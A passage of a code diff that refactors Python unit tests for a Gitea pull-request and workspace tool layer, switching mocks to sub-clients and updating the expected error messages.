-    mock_client.close_pull_request.assert_called_once_with("owner", "repo", 1)
+    mock_client.prs.close_pull_request.assert_called_once_with("owner", "repo", 1)
 
 
 def test_close_pull_request_failure() -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
-    mock_client.close_pull_request.side_effect = Exception("API Error")
+    mock_client = _create_mock_client()
+    mock_client.prs.close_pull_request.side_effect = Exception("API Error")
 
     pr_tools: PRTools = PRTools(mock_client)
     res: str = pr_tools.close_pull_request("owner", "repo", 1)
-    assert "Error closing pull request: API Error" in res
+    assert "Could not close PR" in res
+    assert "owner/repo" in res
 
 
 def test_get_pull_request_comments_success() -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
+    mock_client = _create_mock_client()
     comment: CommentModel = CommentModel(id=123, body="Comment body")
-    mock_client.get_pull_request_comments.return_value = [comment]
+    mock_client.prs.get_pull_request_comments.return_value = [comment]
 
     pr_tools: PRTools = PRTools(mock_client)
     res: str = pr_tools.get_pull_request_comments("owner", "repo", 1)
@@ -61,32 +75,35 @@ def test_get_pull_request_comments_success() -> None:
 
 
 def test_get_pull_request_comments_failure() -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
-    mock_client.get_pull_request_comments.side_effect = Exception("API Error")
+    mock_client = _create_mock_client()
+    mock_client.prs.get_pull_request_comments.side_effect = Exception("API Error")
 
     pr_tools: PRTools = PRTools(mock_client)
     res: str = pr_tools.get_pull_request_comments("owner", "repo", 1)
-    assert "Error getting PR comments: API Error" in res
+    assert "Could not retrieve comments" in res
+    assert "owner/repo" in res
 
 
 def test_list_assigned_pull_requests_success() -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
+    mock_client = _create_mock_client()
     repo: RepositoryModel = RepositoryModel(name="repo1", owner="owner1")
     pr: PullRequestModel = PullRequestModel(number=1, title="Test PR")
-    mock_client.list_all_user_repos.return_value = [repo]
-    mock_client.list_assigned_pull_requests.return_value = [pr]
+    mock_client.repos.list_all_user_repos.return_value = [repo]
+    mock_client.prs.list_assigned_pull_requests.return_value = [pr]
 
     pr_tools: PRTools = PRTools(mock_client)
     res: list[dict[str, Any]] = pr_tools.list_assigned_pull_requests()
     assert len(res) == 1
     assert res[0]["number"] == 1
-    mock_client.list_all_user_repos.assert_called_once()
-    mock_client.list_assigned_pull_requests.assert_called_once_with("owner1", "repo1")
+    mock_client.repos.list_all_user_repos.assert_called_once()
+    mock_client.prs.list_assigned_pull_requests.assert_called_once_with(
+        "owner1", "repo1"
+    )
 
 
 def test_list_assigned_pull_requests_failure() -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
-    mock_client.list_all_user_repos.side_effect = Exception("API Error")
+    mock_client = _create_mock_client()
+    mock_client.repos.list_all_user_repos.side_effect = Exception("API Error")
 
     pr_tools: PRTools = PRTools(mock_client)
     res: list[dict[str, Any]] = pr_tools.list_assigned_pull_requests()
@@ -94,9 +111,9 @@ def test_list_assigned_pull_requests_failure() -> None:
 
 
 def test_list_pull_requests_success() -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
+    mock_client = _create_mock_client()
     pr: PullRequestModel = PullRequestModel(number=1, title="Test PR")
-    mock_client.list_repo_pull_requests.return_value = [pr]
+    mock_client.prs.list_repo_pull_requests.return_value = [pr]
 
     pr_tools: PRTools = PRTools(mock_client)
     res: str = pr_tools.list_pull_requests("owner", "repo")
@@ -104,47 +121,55 @@ def test_list_pull_requests_success() -> None:
 
 
 def test_list_pull_requests_empty() -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
-    mock_client.list_repo_pull_requests.return_value = []
+    mock_client = _create_mock_client()
+    mock_client.prs.list_repo_pull_requests.return_value = []
 
     pr_tools: PRTools = PRTools(mock_client)
     res: str = pr_tools.list_pull_requests("owner", "repo")
-    assert res == "No PRs in owner/repo."
+    assert res == "No open PRs in owner/repo."
 
 
 def test_list_pull_requests_failure() -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
-    mock_client.list_repo_pull_requests.side_effect = Exception("API Error")
+    mock_client = _create_mock_client()
+    mock_client.prs.list_repo_pull_requests.side_effect = Exception("API Error")
 
     pr_tools: PRTools = PRTools(mock_client)
     res: str = pr_tools.list_pull_requests("owner", "repo")
-    assert "Error listing PRs: API Error" in res
+    assert "Could not list PRs" in res
+    assert "owner/repo" in res
 
 
 def test_create_pull_request_success() -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
+    mock_client = _create_mock_client()
     pr: PullRequestModel = PullRequestModel(number=2, title="Title")
-    mock_client.create_pr_via_tea.return_value = pr
+    mock_client.prs.create_pr_via_tea.return_value = pr
 
     pr_tools: PRTools = PRTools(mock_client)
-    res: str = pr_tools.create_pull_request("owner", "repo", "head", "base", "Title", "Desc")
-    data: dict[str, Any] = json.loads(res)
-    assert data["number"] == 2
-    mock_client.create_pr_via_tea.assert_called_once_with("owner", "repo", "Title", "Desc", "head", "base")
+    res: PullRequestModel = pr_tools.create_pull_request(
+        "owner", "repo", "head", "base", "Title", "Desc"
+    )
+    assert isinstance(res, PullRequestModel)
+    assert res.number == 2
+    mock_client.prs.create_pr_via_tea.assert_called_once_with(
+        "owner", "repo", "Title", "Desc", "head", "base"
+    )
 
 
 def test_create_pull_request_failure() -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
-    mock_client.create_pr_via_tea.side_effect = Exception("API Error")
+    mock_client = _create_mock_client()
+    mock_client.prs.create_pr_via_tea.side_effect = Exception("API Error")
 
     pr_tools: PRTools = PRTools(mock_client)
-    res: str = pr_tools.create_pull_request("owner", "repo", "head", "base", "Title")
-    assert "Error creating PR: API Error" in res
+    try:
+        pr_tools.create_pull_request("owner", "repo", "head", "base", "Title")
+        assert False, "Expected Exception"
+    except Exception as e:
+        assert str(e) == "API Error"
 
 
 def test_add_label_to_pr_success() -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
-    mock_client.add_label_pr.return_value = {}
+    mock_client = _create_mock_client()
+    mock_client.prs.add_label_pr.return_value = {}
 
     pr_tools: PRTools = PRTools(mock_client)
     res: str = pr_tools.add_label_to_pr("owner", "repo", 1, "bug")
@@ -152,17 +177,18 @@ def test_add_label_to_pr_success() -> None:
 
 
 def test_add_label_to_pr_failure() -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
-    mock_client.add_label_pr.side_effect = Exception("API Error")
+    mock_client = _create_mock_client()
+    mock_client.prs.add_label_pr.side_effect = Exception("API Error")
 
     pr_tools: PRTools = PRTools(mock_client)
     res: str = pr_tools.add_label_to_pr("owner", "repo", 1, "bug")
-    assert "Error adding label to PR #1: API Error" in res
+    assert "Could not add label" in res
+    assert "bug" in res
 
 
 def test_get_pull_request_diff_success() -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
-    mock_client.get_pull_request_diff.return_value = "diff content"
+    mock_client = _create_mock_client()
+    mock_client.prs.get_pull_request_diff.return_value = "diff content"
 
     pr_tools: PRTools = PRTools(mock_client)
     res: str = pr_tools.get_pull_request_diff("owner", "repo", 1)
@@ -170,17 +196,18 @@ def test_get_pull_request_diff_success() -> None:
 
 
 def test_get_pull_request_diff_failure() -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
-    mock_client.get_pull_request_diff.side_effect = Exception("API Error")
+    mock_client = _create_mock_client()
+    mock_client.prs.get_pull_request_diff.side_effect = Exception("API Error")
 
     pr_tools: PRTools = PRTools(mock_client)
     res: str = pr_tools.get_pull_request_diff("owner", "repo", 1)
-    assert "Error getting PR diff: API Error" in res
+    assert "Could not retrieve diff" in res
+    assert "owner/repo" in res
 
 
 def test_get_pull_request_patch_success() -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
-    mock_client.get_pull_request_patch.return_value = "patch content"
+    mock_client = _create_mock_client()
+    mock_client.prs.get_pull_request_patch.return_value = "patch content"
 
     pr_tools: PRTools = PRTools(mock_client)
     res: str = pr_tools.get_pull_request_patch("owner", "repo", 1)
@@ -188,17 +215,18 @@ def test_get_pull_request_patch_success() -> None:
 
 
 def test_get_pull_request_patch_failure() -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
-    mock_client.get_pull_request_patch.side_effect = Exception("API Error")
+    mock_client = _create_mock_client()
+    mock_client.prs.get_pull_request_patch.side_effect = Exception("API Error")
 
     pr_tools: PRTools = PRTools(mock_client)
     res: str = pr_tools.get_pull_request_patch("owner", "repo", 1)
-    assert "Error getting PR patch: API Error" in res
+    assert "Could not retrieve patch" in res
+    assert "owner/repo" in res
 
 
 def test_approve_pull_request_success() -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
-    mock_client.approve_pr.return_value = {}
+    mock_client = _create_mock_client()
+    mock_client.prs.approve_pr.return_value = {}
 
     pr_tools: PRTools = PRTools(mock_client)
     res: str = pr_tools.approve_pull_request("owner", "repo", 1, "good")
@@ -206,17 +234,18 @@ def test_approve_pull_request_success() -> None:
 
 
 def test_approve_pull_request_failure() -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
-    mock_client.approve_pr.side_effect = Exception("API Error")
+    mock_client = _create_mock_client()
+    mock_client.prs.approve_pr.side_effect = Exception("API Error")
 
     pr_tools: PRTools = PRTools(mock_client)
     res: str = pr_tools.approve_pull_request("owner", "repo", 1, "good")
-    assert "Error approving PR: API Error" in res
+    assert "Could not approve PR" in res
+    assert "owner/repo" in res
 
 
 def test_request_changes_success() -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
-    mock_client.request_changes_pr.return_value = {}
+    mock_client = _create_mock_client()
+    mock_client.prs.request_changes_pr.return_value = {}
 
     pr_tools: PRTools = PRTools(mock_client)
     res: str = pr_tools.request_changes("owner", "repo", 1, "bad")
@@ -224,9 +253,10 @@ def test_request_changes_success() -> None:
 
 
 def test_request_changes_failure() -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
-    mock_client.request_changes_pr.side_effect = Exception("API Error")
+    mock_client = _create_mock_client()
+    mock_client.prs.request_changes_pr.side_effect = Exception("API Error")
 
     pr_tools: PRTools = PRTools(mock_client)
     res: str = pr_tools.request_changes("owner", "repo", 1, "bad")
-    assert "Error requesting changes: API Error" in res
+    assert "Could not request changes" in res
+    assert "owner/repo" in res

tests/test_workspace.py

@@ -9,16 +9,16 @@ from gitea.workspace import WorkspaceManager
 @patch("gitea.workspace.subprocess.run")
 @patch("gitea.workspace.GiteaClient")
 def test_workspace_manager_configure_repo_user(
-    mock_client_class: MagicMock,
-    mock_run: MagicMock
+    mock_client_class: MagicMock, mock_run: MagicMock
 ) -> None:
     mock_client = MagicMock()
     mock_client_class.return_value = mock_client
+    mock_client.repos = MagicMock()
     mock_user = MagicMock()
     mock_user.full_name = "Agent Tester"
     mock_user.login = "agent-test"
     mock_user.email = "agent-test@example.com"
-    mock_client.get_authenticated_user.return_value = mock_user
+    mock_client.repos.get_authenticated_user.return_value = mock_user
 
     workspace = WorkspaceManager()
     repo_path = Path("/tmp/mock-repo")
@@ -36,16 +36,16 @@ def test_workspace_manager_configure_repo_user(
 @patch("gitea.workspace.subprocess.run")
 @patch("gitea.workspace.GiteaClient")
 def test_workspace_manager_clone_repo(
-    mock_client_class: MagicMock,
-    mock_run: MagicMock
+    mock_client_class: MagicMock, mock_run: MagicMock
 ) -> None:
     mock_client = MagicMock()
     mock_client_class.return_value = mock_client
+    mock_client.repos = MagicMock()
     mock_user = MagicMock()
     mock_user.full_name = "Agent Tester"
     mock_user.login = "agent-test"
     mock_user.email = "agent-test@example.com"
-    mock_client.get_authenticated_user.return_value = mock_user
+    mock_client.repos.get_authenticated_user.return_value = mock_user
 
     workspace = WorkspaceManager()
 
@@ -64,13 +64,15 @@ def test_workspace_manager_clone_repo(
             mock_configure.assert_called_once_with(mock_repo_path)
 
 
+@patch("gitea.workspace.subprocess.run")
 @patch("gitea.workspace.GiteaClient")
 def test_workspace_manager_fails_if_no_authenticated_user(
-    mock_client_class: MagicMock
+    mock_client_class: MagicMock, mock_run: MagicMock
 ) -> None:
     mock_client = MagicMock()
     mock_client_class.return_value = mock_client
-    mock_client.get_authenticated_user.return_value = None
+    mock_client.repos = MagicMock()
+    mock_client.repos.get_authenticated_user.return_value = None
 
     workspace = WorkspaceManager()
     with pytest.raises(RuntimeError, match="No authenticated user found."):
@@ -80,15 +82,17 @@ def test_workspace_manager_fails_if_no_authenticated_user(
         workspace._configure_repo_user(Path("/tmp/mock-repo"))
 
 
+@patch("gitea.workspace.subprocess.run")
 @patch("gitea.workspace.GiteaClient")
 def test_workspace_manager_fails_if_authenticated_user_has_no_login(
-    mock_client_class: MagicMock
+    mock_client_class: MagicMock, mock_run: MagicMock
 ) -> None:
     mock_client = MagicMock()
     mock_client_class.return_value = mock_client
+    mock_client.repos = MagicMock()
     mock_user = MagicMock()
     mock_user.login = ""
-    mock_client.get_authenticated_user.return_value = mock_user
+    mock_client.repos.get_authenticated_user.return_value = mock_user
 
     workspace = WorkspaceManager()
     with pytest.raises(RuntimeError, match="No authenticated user found."):
@@ -101,17 +105,17 @@ def test_workspace_manager_fails_if_authenticated_user_has_no_login(
 @patch("gitea.workspace.subprocess.run")
 @patch("gitea.workspace.GiteaClient")
 def test_workspace_manager_sanitize_repo_no_changes(
-    mock_client_class: MagicMock,
-    mock_run: MagicMock
+    mock_client_class: MagicMock, mock_run: MagicMock
 ) -> None:
     # Setup Gitea client mock
     mock_client = MagicMock()
     mock_client_class.return_value = mock_client
+    mock_client.repos = MagicMock()
     mock_user = MagicMock()
     mock_user.full_name = "Agent Tester"
     mock_user.login = "agent-test"
     mock_user.email = "agent-test@example.com"
-    mock_client.get_authenticated_user.return_value = mock_user
+    mock_client.repos.get_authenticated_user.return_value = mock_user
 
     # Mock subprocess.run for status check and others
     def mock_run_side_effect(args: list[str], **kwargs: Any) -> MagicMock:
@@ -144,17 +148,17 @@ def test_workspace_manager_sanitize_repo_no_changes(
 @patch("gitea.workspace.subprocess.run")
 @patch("gitea.workspace.GiteaClient")
 def test_workspace_manager_sanitize_repo_with_changes(
-    mock_client_class: MagicMock,
-    mock_run: MagicMock
+    mock_client_class: MagicMock, mock_run: MagicMock
 ) -> None:
     # Setup Gitea client mock
     mock_client = MagicMock()
     mock_client_class.return_value = mock_client
+    mock_client.repos = MagicMock()
     mock_user = MagicMock()
     mock_user.full_name = "Agent Tester"
     mock_user.login = "agent-test"
     mock_user.email = "agent-test@example.com"
-    mock_client.get_authenticated_user.return_value = mock_user
+    mock_client.repos.get_authenticated_user.return_value = mock_user
 
     # Mock subprocess.run to show modified files
     def mock_run_side_effect(args: list[str], **kwargs: Any) -> MagicMock:
@@ -183,20 +187,21 @@ def test_workspace_manager_sanitize_repo_with_changes(
 @patch("gitea.workspace.subprocess.run")
 @patch("gitea.workspace.GiteaClient")
 def test_workspace_manager_sanitize_repo_fails(
-    mock_client_class: MagicMock,
-    mock_run: MagicMock
+    mock_client_class: MagicMock, mock_run: MagicMock
 ) -> None:
     # Setup Gitea client mock
     mock_client = MagicMock()
     mock_client_class.return_value = mock_client
+    mock_client.repos = MagicMock()
     mock_user = MagicMock()
     mock_user.full_name = "Agent Tester"
     mock_user.login = "agent-test"
     mock_user.email = "agent-test@example.com"
-    mock_client.get_authenticated_user.return_value = mock_user
+    mock_client.repos.get_authenticated_user.return_value = mock_user
 
     # Mock remote set-url to fail
     import subprocess
+
     mock_run.side_effect = subprocess.CalledProcessError(1, "git remote set-url")
 
     workspace = WorkspaceManager()